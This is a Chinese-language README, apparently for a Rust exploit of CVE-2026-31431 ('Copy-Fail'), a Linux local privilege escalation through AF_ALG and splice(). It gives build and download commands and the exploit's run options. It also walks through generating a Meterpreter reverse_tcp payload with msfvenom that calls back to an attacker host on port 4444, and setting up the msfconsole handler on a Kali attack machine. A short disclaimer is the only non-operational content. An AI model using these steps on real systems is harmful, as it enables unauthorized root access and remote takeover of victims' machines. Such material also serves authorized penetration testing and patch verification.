基于 Rust 编写的本地权限提升漏洞利用程序,针对 CVE-2026-31431,可在 Linux 系统上执行自定义 shellcode(如 Meterpreter)。
一个针对 CVE-2026-31431(Copy-Fail)的本地权限提升漏洞利用的 Rust 实现。
它允许执行自定义 shellcode(例如 Meterpreter)
Xint 披露了 CVE-2026-31431,这是一个任意页缓存写入漏洞,通过链式利用 AF_ALG 和 splice() 实现 4 字节写入原语。
来源:Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
本项目是出于我个人对网络安全学习的兴趣而开发的。然而,它有可能被恶意滥用。
请勿将此工具用于任何非法活动。
作者对任何滥用本软件的行为概不负责。
注意:原始作品使用压缩/编码的 shellcode(例如
/bin/sh)。在本实现中,我将其替换为原始(未压缩)的/bin/bashshellcode,使其更易于自定义或直接替换为用户提供的载荷。
克隆项目,然后执行 build.sh:
git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh
下载并解压发布包:
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
二进制文件提供以下选项:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin
在存在漏洞的机器上:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
使用以下命令(将 PrependSetUid 设置为 True)生成 Meterpreter 载荷:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin
在攻击机(Kali Linux)上:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run
在存在漏洞的机器上:
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin